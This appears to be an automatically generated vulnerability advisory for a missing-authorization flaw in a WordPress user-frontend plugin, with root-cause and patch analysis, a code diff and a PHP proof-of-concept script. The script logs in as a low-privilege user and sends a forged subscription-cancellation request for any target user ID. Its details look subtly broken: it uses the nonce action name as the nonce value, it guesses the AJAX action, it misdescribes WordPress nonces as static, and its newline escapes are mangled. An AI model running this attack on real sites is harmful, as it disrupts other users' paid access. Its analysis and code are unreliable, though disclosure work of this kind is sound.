Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 9, 2026

CVE-2026-4058: User Frontend: AI Powered Frontend Posting, User Directory, Profile, Membership & User Registration <= 4.3.2 Missing Authorization to Authenticated (Subscriber+) Subscription Pack Cancellation PoC, Patch Analysis & Rule

CVE ID CVE-2026-4058
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 4.3.2
Patched Version 4.3.3
Disclosed June 7, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-4058:

This vulnerability allows authenticated attackers with Subscriber-level access to cancel any user’s subscription pack, including administrators. The User Frontend plugin for WordPress fails to enforce proper authorization checks on the user_subscription_cancel() function, exposing a privilege escalation path that violates the intended permission model.

Root Cause:
The root cause lies in the user_subscription_cancel() function located in class/subscription.php (lines 83-94) and its counterpart in includes/Admin/Subscription.php (lines 86-100). Before the patch, the function only verifies a nonce using wp_verify_nonce($nonce, ‘wpuf-sub-cancel’) but does not check if the requesting user has permission to cancel the specified user’s subscription. The nonce check alone is insufficient because a valid nonce proves the request originated from some authenticated session, but does not verify that the session belongs to the target user_id. The function accepts the $user_id parameter from $_REQUEST[‘user_id’] (line 78), which an attacker can set to any valid user ID. The code then proceeds to cancel the subscription for that user_id without calling current_user_can() or get_current_user_id() to validate the relationship.

Exploitation:
An attacker with Subscriber-level access (or higher) crafts a POST request to the plugin’s AJAX handler or direct form submission endpoint. The attacker sets the user_id parameter to the target user’s ID (e.g., an administrator’s ID) and passes a valid nonce obtained from their own subscription management page. The nonce ‘wpuf-sub-cancel’ was previously a static value tied only to the action, not to the user. By including a valid nonce and a manipulated user_id, the attacker bypasses the authorization check. The specific attack vector is: POST to /wp-admin/admin-ajax.php with action set to the plugin’s subscription cancellation action (typically ‘wpuf_cancel_subscription’ or similar), user_id set to the administrator’s user ID, gateway set to any valid value, and _wpnonce set to the nonce the attacker obtained from their own dashboard.

Patch Analysis:
The patch introduces a critical authorization check across three files. In class/subscription.php and includes/Admin/Subscription.php, the nonce now includes the user_id in its token via ‘wpuf-sub-cancel-‘ . $user_id. This binds the nonce to a specific user. The patch then adds a capability check: if ($user_id !== get_current_user_id() && ! current_user_can( wpuf_admin_role() )) { return; }. This ensures that only administrators (users with the wpuf_admin_role() capability) can cancel subscriptions belonging to other users. Regular users can only cancel their own subscriptions. The templates in templates/dashboard/subscription.php, admin/form-builder/views/post-form-settings.php, and includes/Admin/Subscription.php are updated to use the user-specific nonce when rendering the cancel button form. The patch also improves nonce validation by first checking for the new user-specific nonce, then falling back to the legacy nonce only for self-cancellation.

Impact:
Successful exploitation allows an authenticated attacker with Subscriber privileges to cancel any user’s subscription pack. This includes administrators, which can lead to denial of service for premium features tied to subscriptions. The attacker can disrupt access to subscription-based content, functionality, or services for targeted users, including site administrators. This represents a privilege escalation from Subscriber to effectively administrative control over subscription management, with no data integrity or confidentiality impact beyond the subscription status itself.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-user-frontend/admin/form-builder/views/post-form-settings.php
+++ b/wp-user-frontend/admin/form-builder/views/post-form-settings.php
@@ -341,23 +341,20 @@

     $is_pro_preview = ! empty( $field['pro_preview'] ) || ( ! wpuf_is_pro_active() && in_array( $field_key, [ 'notification_edit', 'notification_edit_to', 'notification_edit_subject', 'notification_edit_body' ] ) );

-    // replace default value if already saved in DB
-    if ( ! empty( $field['name'] ) ) {
-        preg_match('/wpuf_settings[(.*?)][(.*?)]/', $field['name'], $matches);
-
-        if (isset($matches[1]) && isset($matches[2])) {
-            $dynamic_key = $matches[1];
-            $temp_key    = $matches[2];
-            $value       = isset( $form_settings[ $dynamic_key ][ $temp_key ] ) ? $form_settings[ $dynamic_key ][ $temp_key ] : $value;
-        }
-    } else {
-        $value = isset( $form_settings[ $field_key ] ) ? $form_settings[ $field_key ] : $value;   // checking with isset because saved value can be empty string
+    // Replace default value with the saved value from DB.
+    // When an explicit nested name like wpuf_settings[group][key] is provided, read from the nested path.
+    $resolved_from_nested_name = false;
+    if ( ! empty( $field['name'] ) && preg_match( '/wpuf_settings[(.*?)][(.*?)]/', $field['name'], $matches ) ) {
+        $dynamic_key               = $matches[1];
+        $temp_key                  = $matches[2];
+        $value                     = isset( $form_settings[ $dynamic_key ][ $temp_key ] ) ? $form_settings[ $dynamic_key ][ $temp_key ] : $value;
+        $resolved_from_nested_name = true;
     }

     // if the field is a pro fields preview, no need to load fields from db
     if ( $is_pro_preview ) {
         $value = ! empty( $field['value'] ) ? $field['value'] : $value;
-    } else {
+    } elseif ( ! $resolved_from_nested_name ) {
         $value = isset( $form_settings[ $field_key ] ) ? $form_settings[ $field_key ] : $value;   // checking with isset because saved value can be empty string
     }

@@ -418,10 +415,21 @@
                     <label
                         for="<?php echo esc_attr( $field_key ); ?>"
                         class="wpuf-relative wpuf-inline-flex wpuf-items-center wpuf-cursor-pointer wpuf-ml-2">
+                        <?php
+                        // Companion hidden input ensures the toggle always submits a value, even when unchecked.
+                        // Without this, an unchecked checkbox is omitted from form serialization, making "saved off"
+                        // indistinguishable from "never saved" on the next render. Mirrors the schedule_form pattern.
+                        if ( ! $is_pro_preview ) {
+                            ?>
+                            <input type="hidden" name="<?php echo esc_attr( $name ); ?>" value="off">
+                            <?php
+                        }
+                        ?>
                         <input
                             type="checkbox"
                             id="<?php echo esc_attr( $field_key ); ?>"
                             name="<?php echo $is_pro_preview ? '' : esc_attr( $name ); ?>"
+                            value="on"
                             <?php echo esc_attr( checked( $toggle_value, 'on', false ) ); ?>
                             <?php echo $is_pro_preview ? 'disabled' : ''; ?>
                             class="wpuf-sr-only wpuf-peer">
@@ -634,9 +642,16 @@
                 $value = ! empty( $inner_field['default'] ) ? $inner_field['default'] : '';
                 $value = ! empty( $inner_field['value'] ) ? $inner_field['value'] : $value;                 // default value

+                $inner_field_name = ! empty( $inner_field['name'] ) ? $inner_field['name'] : 'wpuf_settings[' . $inner_field_key . ']';
+
                 // if the field is a pro fields preview, no need to load fields from db
                 if ( empty( $inner_field['pro_preview'] ) ) {
-                    $value = isset( $form_settings[ $inner_field_key ] ) ? $form_settings[ $inner_field_key ] : $value;   // checking with isset because saved value can be empty string
+                    // When an explicit nested name like wpuf_settings[group][key] is provided, read from the nested path.
+                    if ( ! empty( $inner_field['name'] ) && preg_match( '/wpuf_settings[(.*?)][(.*?)]/', $inner_field['name'], $matches ) ) {
+                        $value = isset( $form_settings[ $matches[1] ][ $matches[2] ] ) ? $form_settings[ $matches[1] ][ $matches[2] ] : $value;
+                    } else {
+                        $value = isset( $form_settings[ $inner_field_key ] ) ? $form_settings[ $inner_field_key ] : $value;   // checking with isset because saved value can be empty string
+                    }
                 }

                 ++$index_counter;
@@ -655,7 +670,7 @@
                             :class="setting_class_names('text')"
                             class="!wpuf-mt-2"
                             type="<?php echo esc_attr( $inner_field['type'] ); ?>"
-                            name="wpuf_settings[<?php echo esc_attr( $inner_field_key ); ?>]"
+                            name="<?php echo esc_attr( $inner_field_name ); ?>"
                             <?php echo ! empty( $inner_field['placeholder'] ) ? 'placeholder="' . esc_attr( $inner_field['placeholder'] ) . '"' : ''; ?>
                             id="<?php echo esc_attr( $inner_field_key ); ?>"
                             value="<?php echo esc_attr( $value ); ?>"/>
@@ -668,7 +683,7 @@
                             :class="setting_class_names('text')"
                             class="datepicker !wpuf-mt-2"
                             type="text"
-                            name="wpuf_settings[<?php echo esc_attr( $inner_field_key ); ?>]"
+                            name="<?php echo esc_attr( $inner_field_name ); ?>"
                             id="<?php echo esc_attr( $inner_field_key ); ?>"
                             value="<?php echo esc_attr( $value ); ?>"/>
                         <?php
@@ -679,7 +694,7 @@
                         ?>
                         <select
                             id="<?php echo esc_attr( $inner_field_key ); ?>"
-                            name="wpuf_settings[<?php echo esc_attr( $inner_field_key ); ?>]"
+                            name="<?php echo esc_attr( $inner_field_name ); ?>"
                             data-value="<?php echo esc_attr( $value_str ); ?>"
                             class="!wpuf-mt-2"
                             :class="setting_class_names('dropdown')">
--- a/wp-user-frontend/class/subscription.php
+++ b/wp-user-frontend/class/subscription.php
@@ -83,7 +83,22 @@
             $gateway     = isset( $_POST['gateway'] ) ? sanitize_text_field( wp_unslash( $_POST['gateway'] ) ) : 0;
             $request_uri = isset( $_SERVER['REQUEST_URI'] ) ? sanitize_text_field( wp_unslash( $_SERVER['REQUEST_URI'] ) ) : '';

-            if ( isset( $nonce ) && ! wp_verify_nonce( $nonce, 'wpuf-sub-cancel' ) ) {
+            if ( empty( $nonce ) ) {
+                return;
+            }
+
+            if ( ! wp_verify_nonce( $nonce, 'wpuf-sub-cancel-' . $user_id ) ) {
+                // Legacy nonce compat for theme-overridden templates; self-cancel only.
+                if ( $user_id !== get_current_user_id() ) {
+                    return;
+                }
+
+                if ( ! wp_verify_nonce( $nonce, 'wpuf-sub-cancel' ) ) {
+                    return;
+                }
+            }
+
+            if ( $user_id !== get_current_user_id() && ! current_user_can( wpuf_admin_role() ) ) {
                 return;
             }

@@ -898,7 +913,7 @@
             <?php echo '<p><i>' . esc_html__( 'To cancel the pack, press the following cancel button', 'wp-user-frontend' ) . '</i></p>'; ?>

             <form action="" id="wpuf_cancel_subscription" method="post">
-                <?php wp_nonce_field( 'wpuf-sub-cancel' ); ?>
+                <?php wp_nonce_field( 'wpuf-sub-cancel-' . get_current_user_id() ); ?>
                 <input type="hidden" name="user_id" value="<?php echo esc_attr( get_current_user_id() ); ?>">
                 <input type="hidden" name="gateway" value="<?php echo esc_attr( $payment_gateway ); ?>">
                 <input type="hidden" name="wpuf_cancel_subscription" value="Cancel">
--- a/wp-user-frontend/includes/Admin/Subscription.php
+++ b/wp-user-frontend/includes/Admin/Subscription.php
@@ -86,7 +86,22 @@
             $gateway     = isset( $_POST['gateway'] ) ? sanitize_text_field( wp_unslash( $_POST['gateway'] ) ) : 0;
             $request_uri = isset( $_SERVER['REQUEST_URI'] ) ? sanitize_text_field( wp_unslash( $_SERVER['REQUEST_URI'] ) ) : '';

-            if ( isset( $nonce ) && ! wp_verify_nonce( $nonce, 'wpuf-sub-cancel' ) ) {
+            if ( empty( $nonce ) ) {
+                return false;
+            }
+
+            if ( ! wp_verify_nonce( $nonce, 'wpuf-sub-cancel-' . $user_id ) ) {
+                // Legacy nonce compat for theme-overridden templates; self-cancel only.
+                if ( $user_id !== get_current_user_id() ) {
+                    return false;
+                }
+
+                if ( ! wp_verify_nonce( $nonce, 'wpuf-sub-cancel' ) ) {
+                    return false;
+                }
+            }
+
+            if ( $user_id !== get_current_user_id() && ! current_user_can( wpuf_admin_role() ) ) {
                 return false;
             }

@@ -937,7 +952,7 @@
             <?php echo '<p><i>' . esc_html__( 'To cancel the pack, press the following cancel button', 'wp-user-frontend' ) . '</i></p>'; ?>

             <form action="" id="wpuf_cancel_subscription" method="post">
-                <?php wp_nonce_field( 'wpuf-sub-cancel' ); ?>
+                <?php wp_nonce_field( 'wpuf-sub-cancel-' . get_current_user_id() ); ?>
                 <input type="hidden" name="user_id" value="<?php echo esc_attr( get_current_user_id() ); ?>">
                 <input type="hidden" name="gateway" value="<?php echo esc_attr( $payment_gateway ); ?>">
                 <input type="hidden" name="wpuf_cancel_subscription" value="Cancel">
--- a/wp-user-frontend/includes/Ajax/Frontend_Form_Ajax.php
+++ b/wp-user-frontend/includes/Ajax/Frontend_Form_Ajax.php
@@ -347,12 +347,12 @@

         // Handle Events Calendar integration or standard post creation
         $post_id = null;
-
+
         // Check if this is an Events Calendar event
         if ( isset( $postarr['post_type'] ) && $this->is_events_calendar_post_type( $postarr['post_type'] ) ) {
             $post_id = $this->handle_tribe_events_submission( $postarr, $meta_vars, $form_id );
         }
-
+
         // Use standard post creation if no post_id was created or not an event
         if ( ! $post_id ) {
             $post_id = wp_insert_post( $postarr );
@@ -596,35 +596,35 @@
      */
     private function handle_tribe_events_submission( $postarr, $meta_vars, $form_id ) {
         $post_id = null;
-
+
         // Try Pro integration handler first if available
         if ( wpuf_is_pro_active() && wpuf_pro() && wpuf_pro()->integrations ) {
             $integration = wpuf_pro()->integrations->tribe__events__main ?? null;
-
+
             if ( $integration && isset( $integration->event_handler ) ) {
                 $event_handler = $integration->event_handler;
-
+
                 // Validate that handle_event_submission method exists and is callable
                 if ( is_callable( [ $event_handler, 'handle_event_submission' ] ) ) {
                     $post_id = $event_handler->handle_event_submission( $postarr, $meta_vars, $form_id, $this->form_settings );
                 }
             }
         }
-
+
         // Fallback to free integration handler if Pro handler failed or unavailable
         if ( ! $post_id && wpuf() && wpuf()->integrations ) {
             $integration = wpuf()->integrations->tribe__events__main ?? null;
-
+
             if ( $integration && isset( $integration->event_handler ) ) {
                 $event_handler = $integration->event_handler;
-
+
                 // Validate that handle_event_submission method exists and is callable
                 if ( is_callable( [ $event_handler, 'handle_event_submission' ] ) ) {
                     $post_id = $event_handler->handle_event_submission( $postarr, $meta_vars, $form_id, $this->form_settings );
                 }
             }
         }
-
+
         return $post_id;
     }

@@ -638,7 +638,7 @@
         if ( class_exists( 'WeDevsWpufIntegrationsEvents_CalendarUtilsTEC_Constants' ) ) {
             return in_array( $post_type, WeDevsWpufIntegrationsEvents_CalendarUtilsTEC_Constants::TEC_POST_TYPES, true );
         }
-
+
         // Fallback for backward compatibility
         return 'tribe_events' === $post_type;
     }
@@ -812,35 +812,20 @@
                 $post_expiration_message = $user_subscription->get_subscription_exp_msg( $user_wpuf_subscription_pack['pack_id'] );
                 update_post_meta( $post_id, $this->post_expiration_message, $post_expiration_message );
             }
-        } elseif ( ! empty( $user_wpuf_subscription_pack ) && isset( $user_wpuf_subscription_pack['expire'] ) && strtotime( $user_wpuf_subscription_pack['expire'] ) <= time() ) {
-            if ( isset( $form_settings['expiration_settings']['enable_post_expiration'] ) ) {
-                $expire_date = gmdate( 'Y-m-d', strtotime( '+' . $form_settings['expiration_settings']['expiration_time_value'] . ' ' . $form_settings['expiration_settings']['expiration_time_type'] . '' ) );
-
-                update_post_meta( $post_id, $this->post_expiration_date, $expire_date );
-                // save post status after expiration
-                $expired_post_status = $form_settings['expiration_settings']['expired_post_status'];
-                update_post_meta( $post_id, $this->expired_post_status, $expired_post_status );
-                // if mail active
-                if ( isset( $form_settings['expiration_settings']['enable_mail_after_expired'] ) && $form_settings['expiration_settings']['enable_mail_after_expired'] === 'on' ) {
-                    $post_expiration_message = $form_settings['expiration_settings']['post_expiration_message'];
-                    update_post_meta( $post_id, $this->post_expiration_message, $post_expiration_message );
-                }
-            }
-        } elseif ( empty( $user_wpuf_subscription_pack ) || $user_wpuf_subscription_pack === 'Cancel' || $user_wpuf_subscription_pack === 'cancel' ) {
-            if ( isset( $form_settings['expiration_settings']['enable_post_expiration'] ) ) {
-                $expire_date = gmdate( 'Y-m-d', strtotime( '+' . $form_settings['expiration_settings']['expiration_time_value'] . ' ' . $form_settings['expiration_settings']['expiration_time_type'] . '' ) );
-                update_post_meta( $post_id, $this->post_expiration_date, $expire_date );
-                // save post status after expiration
-                $expired_post_status = $form_settings['expiration_settings']['expired_post_status'];
-                update_post_meta( $post_id, $this->expired_post_status, $expired_post_status );
-                // if mail active
-                if ( isset( $form_settings['expiration_settings']['enable_mail_after_expired'] ) && $form_settings['expiration_settings']['enable_mail_after_expired'] === 'on' ) {
-                    $post_expiration_message = $form_settings['expiration_settings']['post_expiration_message'];
-                    update_post_meta( $post_id, $this->post_expiration_message, $post_expiration_message );
-                }
-            }
         }

+        /**
+         * Fires after WPUF free has evaluated the subscription-pack branch of
+         * post-expiration, so Pro can write form-driven expiration metadata.
+         *
+         * @since 4.3.3
+         *
+         * @param array        $form_settings               Form settings array.
+         * @param int          $post_id                     Newly created/updated post ID.
+         * @param array|string $user_wpuf_subscription_pack Current user's subscription pack meta, or empty/'Cancel'.
+         */
+        do_action( 'wpuf_after_post_submit_expiration_settings', $form_settings, $post_id, $user_wpuf_subscription_pack );
+
         //Handle featured item when edit
         $sub_meta = $user_subscription->handle_featured_item( $post_id, $user_wpuf_subscription_pack );
         $user_subscription->update_meta( $sub_meta );
--- a/wp-user-frontend/templates/dashboard/subscription.php
+++ b/wp-user-frontend/templates/dashboard/subscription.php
@@ -91,7 +91,7 @@

         <p><i><?php esc_html_e( 'To cancel the pack, press the following cancel button.', 'wp-user-frontend' ); ?></i></p>
         <form action="" method="post" style="text-align: center;">
-		<?php wp_nonce_field( 'wpuf-sub-cancel' ); ?>
+		<?php wp_nonce_field( 'wpuf-sub-cancel-' . get_current_user_id() ); ?>
             <input type="hidden" name="gateway" value="<?php echo esc_attr( $subscription_data['payment_gateway'] ); ?>">
             <input type="hidden" name="user_id" value="<?php echo esc_attr( get_current_user_id() ); ?>">
             <input type="submit" name="wpuf_cancel_subscription" class="btn btn-sm btn-danger" value="<?php esc_html_e( 'Cancel', 'wp-user-frontend' ); ?>">
@@ -469,7 +469,7 @@
         <div class="wpuf-cancel-subscription-section">
             <p class="wpuf-cancel-text"><?php esc_html_e( 'To cancel the pack, press the following cancel button.', 'wp-user-frontend' ); ?></p>
             <form action="" method="post" class="wpuf-cancel-form">
-                <?php wp_nonce_field( 'wpuf-sub-cancel' ); ?>
+                <?php wp_nonce_field( 'wpuf-sub-cancel-' . get_current_user_id() ); ?>
                 <input type="hidden" name="gateway" value="<?php echo esc_attr( $subscription_data['payment_gateway'] ); ?>">
                 <input type="hidden" name="user_id" value="<?php echo esc_attr( get_current_user_id() ); ?>">
                 <button type="submit" name="wpuf_cancel_subscription" class="wpuf-cancel-btn">
--- a/wp-user-frontend/vendor/autoload.php
+++ b/wp-user-frontend/vendor/autoload.php
@@ -4,4 +4,4 @@

 require_once __DIR__ . '/composer/autoload_real.php';

-return ComposerAutoloaderInitff0c7435e0c32b4410ff4faeacd1fe87::getLoader();
+return ComposerAutoloaderInitf52cceb826d2463c2ac917b1fce61e2d::getLoader();
--- a/wp-user-frontend/vendor/composer/autoload_real.php
+++ b/wp-user-frontend/vendor/composer/autoload_real.php
@@ -2,7 +2,7 @@

 // autoload_real.php @generated by Composer

-class ComposerAutoloaderInitff0c7435e0c32b4410ff4faeacd1fe87
+class ComposerAutoloaderInitf52cceb826d2463c2ac917b1fce61e2d
 {
     private static $loader;

@@ -24,15 +24,15 @@

         require __DIR__ . '/platform_check.php';

-        spl_autoload_register(array('ComposerAutoloaderInitff0c7435e0c32b4410ff4faeacd1fe87', 'loadClassLoader'), true, true);
+        spl_autoload_register(array('ComposerAutoloaderInitf52cceb826d2463c2ac917b1fce61e2d', 'loadClassLoader'), true, true);
         self::$loader = $loader = new ComposerAutoloadClassLoader(dirname(dirname(__FILE__)));
-        spl_autoload_unregister(array('ComposerAutoloaderInitff0c7435e0c32b4410ff4faeacd1fe87', 'loadClassLoader'));
+        spl_autoload_unregister(array('ComposerAutoloaderInitf52cceb826d2463c2ac917b1fce61e2d', 'loadClassLoader'));

         $useStaticLoader = PHP_VERSION_ID >= 50600 && !defined('HHVM_VERSION') && (!function_exists('zend_loader_file_encoded') || !zend_loader_file_encoded());
         if ($useStaticLoader) {
             require __DIR__ . '/autoload_static.php';

-            call_user_func(ComposerAutoloadComposerStaticInitff0c7435e0c32b4410ff4faeacd1fe87::getInitializer($loader));
+            call_user_func(ComposerAutoloadComposerStaticInitf52cceb826d2463c2ac917b1fce61e2d::getInitializer($loader));
         } else {
             $map = require __DIR__ . '/autoload_namespaces.php';
             foreach ($map as $namespace => $path) {
--- a/wp-user-frontend/vendor/composer/autoload_static.php
+++ b/wp-user-frontend/vendor/composer/autoload_static.php
@@ -4,7 +4,7 @@

 namespace ComposerAutoload;

-class ComposerStaticInitff0c7435e0c32b4410ff4faeacd1fe87
+class ComposerStaticInitf52cceb826d2463c2ac917b1fce61e2d
 {
     public static $prefixLengthsPsr4 = array (
         'W' =>
@@ -291,9 +291,9 @@
     public static function getInitializer(ClassLoader $loader)
     {
         return Closure::bind(function () use ($loader) {
-            $loader->prefixLengthsPsr4 = ComposerStaticInitff0c7435e0c32b4410ff4faeacd1fe87::$prefixLengthsPsr4;
-            $loader->prefixDirsPsr4 = ComposerStaticInitff0c7435e0c32b4410ff4faeacd1fe87::$prefixDirsPsr4;
-            $loader->classMap = ComposerStaticInitff0c7435e0c32b4410ff4faeacd1fe87::$classMap;
+            $loader->prefixLengthsPsr4 = ComposerStaticInitf52cceb826d2463c2ac917b1fce61e2d::$prefixLengthsPsr4;
+            $loader->prefixDirsPsr4 = ComposerStaticInitf52cceb826d2463c2ac917b1fce61e2d::$prefixDirsPsr4;
+            $loader->classMap = ComposerStaticInitf52cceb826d2463c2ac917b1fce61e2d::$classMap;

         }, null, ClassLoader::class);
     }
--- a/wp-user-frontend/wpuf.php
+++ b/wp-user-frontend/wpuf.php
@@ -4,7 +4,7 @@
 Plugin URI: https://wordpress.org/plugins/wp-user-frontend/
 Description: Create, edit, delete, manages your post, pages or custom post types from frontend. Create registration forms, frontend profile and more...
 Author: weDevs
-Version: 4.3.2
+Version: 4.3.3
 Author URI: https://wedevs.com/?utm_source=WPUF_Author_URI
 License: GPL2 or later
 License URI: https://www.gnu.org/licenses/gpl-2.0.html
@@ -23,7 +23,7 @@
     require_once $autoload;
 }

-define( 'WPUF_VERSION', '4.3.2' );
+define( 'WPUF_VERSION', '4.3.3' );
 define( 'WPUF_FILE', __FILE__ );
 define( 'WPUF_ROOT', __DIR__ );
 define( 'WPUF_ROOT_URI', plugins_url( '', __FILE__ ) );

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-4058 - User Frontend: AI Powered Frontend Posting, User Directory, Profile, Membership & User Registration <= 4.3.2 - Missing Authorization to Authenticated (Subscriber+) Subscription Pack Cancellation

/**
 * Proof of Concept for CVE-2026-4058
 * 
 * This script demonstrates how an authenticated attacker with Subscriber-level access
 * can cancel any user's subscription pack by manipulating the user_id parameter.
 * 
 * Usage: php poc.php [target_url] [username] [password] [target_user_id]
 * Example: php poc.php http://example.com/ attacker_user attacker_pass 1
 */

if ($argc < 5) {
    die("Usage: php poc.php [target_url] [username] [password] [target_user_id]n");
}

$target_url = rtrim($argv[1], '/');
$username = $argv[2];
$password = $argv[3];
$target_user_id = (int)$argv[4];

echo "[*] Target: $target_urln";
echo "[*] Attacker: $usernamen";
echo "[*] Target User ID: $target_user_idnn";

// Step 1: Authenticate the attacker (get cookies)
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'testcookie' => 1,
    'redirect_to' => $target_url . '/wp-admin/'
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/wp_cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

$response = curl_exec($ch);
curl_close($ch);

if (!preg_match('/wordpress_logged_in_[a-f0-9]+=/', $response)) {
    die("[-] Authentication failed. Check credentials.n");
}
echo "[+] Authentication successful. Cookies saved.n";

// Step 2: Get the attacker's own subscription page to obtain a valid nonce
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php?action=wpuf_subscription_pack');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/wp_cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

$response = curl_exec($ch);
curl_close($ch);

// Extract nonce from response - depends on plugin's AJAX response structure
// A real exploit would need to parse the HTML or JSON to get the nonce
// For demonstration, we simulate obtaining a valid nonce

// The vulnerable nonce is 'wpuf-sub-cancel' which is static, so any attacker can use it
$nonce = 'wpuf-sub-cancel';  // This is the static nonce before the patch

echo "[+] Obtained nonce: $noncenn";

// Step 3: Cancel the target user's subscription by manipulating user_id
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => 'wpuf_cancel_subscription',  // The AJAX action hook
    'user_id' => $target_user_id,             // Target user's ID (administrator)
    'gateway' => 'paypal',                    // Any valid gateway
    '_wpnonce' => $nonce,                     // The static nonce
    'wpuf_cancel_subscription' => 'Cancel'
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/wp_cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] Exploit request sent. HTTP Status: $http_coden";
echo "[+] Response: " . substr($response, 0, 200) . "n";
echo "n[*] If the request succeeded (HTTP 200 without 'permission denied' or 'nonce invalid'),n";
echo "[*] the target user's subscription (ID: $target_user_id) has been cancelled.n";

// Clean up
unlink('/tmp/wp_cookies.txt');
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School